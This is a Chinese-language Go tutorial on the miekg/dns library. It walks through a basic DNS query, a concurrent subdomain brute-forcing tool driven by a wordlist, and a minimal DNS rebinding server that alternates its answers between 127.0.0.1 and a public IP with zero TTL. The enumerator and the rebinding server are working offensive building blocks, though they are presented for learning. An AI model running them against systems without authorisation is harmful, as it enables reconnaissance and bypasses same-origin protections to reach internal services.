第一个dns查询

  1. package main
  2. import (
  3. "fmt"
  4. "github.com/miekg/dns"
  5. )
  6. func main() {
  7. var msg dns.Msg
  8. fqdn := dns.Fqdn("baidu.com")
  9. msg.SetQuestion(fqdn,dns.TypeA)
  10. in, err := dns.Exchange(&msg, "114.114.114.114:53")
  11. if err!= nil{
  12. panic(err)
  13. }
  14. fmt.Println(len(in.Answer))
  15. fmt.Println(in.Answer)
  16. for _,v := range (in.Answer){
  17. fmt.Println(v.(*dns.A))
  18. }
  19. }

image.png
第19行是一个go的类型断言,确保v是dns.类型,否则就会panic
如我们修改为

  1. fmt.Println(v.(*dns.CNAME))

image.png

实现一个子域名爆破

  1. package main
  2. import (
  3. "bufio"
  4. "errors"
  5. "flag"
  6. "fmt"
  7. "github.com/miekg/dns"
  8. "os"
  9. "text/tabwriter"
  10. )
  11. var (
  12. Server string
  13. Domain string
  14. Wordlist string
  15. WorkerCount int
  16. )
  17. type result struct {
  18. Ipaddr string
  19. Hostname string
  20. }
  21. type empty struct {}
  22. func lookupA(domain string)([]string,error){
  23. var ips []string
  24. var msg dns.Msg
  25. msg.SetQuestion(dns.Fqdn(domain),dns.TypeA)
  26. in,err := dns.Exchange(&msg,Server)
  27. if err !=nil{
  28. return ips, err
  29. }
  30. if len(in.Answer)<1{
  31. return ips,errors.New("no record")
  32. }
  33. for _,answer := range in.Answer{
  34. if a,ok := answer.(*dns.A);ok{
  35. ips = append(ips,a.A.String())
  36. }
  37. }
  38. return ips,nil
  39. }
  40. func lookupCNAME(domain string)([]string,error) {
  41. var domains []string
  42. var msg dns.Msg
  43. msg.SetQuestion(dns.Fqdn(domain),dns.TypeCNAME)
  44. in,err := dns.Exchange(&msg,Server)
  45. if err != nil{
  46. return domains, err
  47. }
  48. for _,answer := range in.Answer{
  49. if c,ok := answer.(*dns.CNAME);ok{
  50. domains = append(domains,c.Target)
  51. }
  52. }
  53. return domains,nil
  54. }
  55. func lookup(domain string) ([]result){
  56. var results []result
  57. var tmp_domain = domain
  58. for{
  59. cnames,err := lookupCNAME(tmp_domain)
  60. if err == nil && len(cnames)>1{
  61. tmp_domain = cnames[0]
  62. continue
  63. }
  64. // 说明没有cname记录了
  65. ips ,err := lookupA(tmp_domain)
  66. if err != nil{
  67. break
  68. }
  69. for _,ip := range ips{
  70. results = append(results,result{Ipaddr: ip,Hostname: domain})
  71. }
  72. break
  73. }
  74. return results
  75. }
  76. func worker(tracer chan empty,domains chan string,gather chan []result) {
  77. for domain := range domains{
  78. results := lookup(domain)
  79. if len(results)>0{
  80. gather <- results
  81. }
  82. }
  83. var e empty
  84. tracer <- e
  85. }
  86. func init() {
  87. flag.StringVar(&Domain,"d","","target")
  88. flag.StringVar(&Wordlist,"w","dic/dics.txt","wordlist")
  89. flag.IntVar(&WorkerCount,"n",200,"workercount")
  90. flag.StringVar(&Server,"s","114.114.114.114:53","DNSServer")
  91. flag.Parse()
  92. if Domain == ""{
  93. flag.Usage()
  94. os.Exit(0)
  95. }
  96. }
  97. func main() {
  98. var results []result
  99. domains := make(chan string,WorkerCount)
  100. gather := make(chan []result)
  101. tracer := make(chan empty)
  102. dic ,err := os.Open(Wordlist)
  103. if err !=nil{
  104. panic(err)
  105. }
  106. defer dic.Close()
  107. scanner := bufio.NewScanner(dic)
  108. for i:=0;i<WorkerCount;i++{
  109. go worker(tracer,domains,gather)
  110. }
  111. for scanner.Scan(){
  112. domains <- fmt.Sprintf("%s.%s",scanner.Text(),Domain)
  113. }
  114. go func() {
  115. for r := range gather{
  116. results = append(results,r...) // gather类存储的为slice类型,...表示将slice类型打散进行传递,它是go的一个语法糖
  117. }
  118. var e empty
  119. tracer <- e
  120. }()
  121. close(domains) // 因为所有子域名已经发送完毕,关闭通道
  122. for j:=0;j<WorkerCount;j++{
  123. <-tracer
  124. }
  125. close(gather)
  126. <-tracer // 表示gather完成
  127. w := tabwriter.NewWriter(os.Stdout,0,8,4,' ', 0)
  128. for _, r := range results {
  129. fmt.Fprintf(w, "%s\t%s\n", r.Hostname, r.Ipaddr)
  130. }
  131. w.Flush()
  132. }

这段代码可能是写到现在较复杂的一段代码了。我们从main函数开始读起。首先创建了三个chan来处理数据,后面具体在看。接着打开用户指定的子域名字典按行读取。开启WorkerCount个子线程进行子域名爆破。但此时还没向chan注入数据,处于阻塞状态,再接下来开始注入数据。

  1. domains <- fmt.Sprintf("%s.%s",scanner.Text(),Domain)

先不急着往下看,先看一下worker函数

  1. for domain := range domains{

使用循环来依次从chan获取域名进行爆破。需要注意的是每次只能从chan里循环获取一个数据。那么它什么时候会结束循环呢,这里我们看到主函数在141行调用close函数关闭chan。本以为这里的close调用后会发送信号使循环停止,但在进行单独测试时发现不调用close,在无数据输入时循环也可以结束。调用close和不调用close的区别在于循环结束后是否执行循环体后的代码。这里就是

  1. var e empty
  2. tracer <- e

tracer在本程序的作用是同步各线程使程序恰当结束。如果我们没有close,在主函数143-145就会发生阻塞程序无法退出。133-139行并发程序集合数据,146行关gather,完成后注入一个empty到tracer。148行如果

  1. <-tracer // 阻塞

成功那么表示gather完成,接下来就是准备打印数据。
image.png

实现一个dns rebinding

  1. package main
  2. import (
  3. "github.com/miekg/dns"
  4. "log"
  5. "net"
  6. )
  7. var count int
  8. func main() {
  9. count = 0
  10. pcount := &count
  11. dns.HandleFunc(".", func(w dns.ResponseWriter, r *dns.Msg) {
  12. if count%2 == 0 {
  13. var resp dns.Msg
  14. resp.SetReply(r)
  15. for _,q := range r.Question{
  16. a := dns.A{
  17. Hdr: dns.RR_Header{
  18. Name: q.Name,
  19. Rrtype: dns.TypeA,
  20. Class: dns.ClassINET,
  21. Ttl: 0,
  22. },
  23. A:net.ParseIP("127.0.0.1").To4(),
  24. }
  25. resp.Answer = append(resp.Answer,&a)
  26. }
  27. w.WriteMsg(&resp)
  28. }else {
  29. var resp dns.Msg
  30. resp.SetReply(r)
  31. for _,q := range r.Question{
  32. a := dns.A{
  33. Hdr: dns.RR_Header{
  34. Name: q.Name,
  35. Rrtype: dns.TypeA,
  36. Class: dns.ClassINET,
  37. Ttl: 0,
  38. },
  39. A:net.ParseIP("129.211.73.107").To4(),
  40. }
  41. resp.Answer = append(resp.Answer,&a)
  42. }
  43. w.WriteMsg(&resp)
  44. }
  45. *pcount++
  46. })
  47. log.Fatal(dns.ListenAndServe(":53","udp",nil))
  48. }

最简单的方式实现了一个dns重绑定
image.png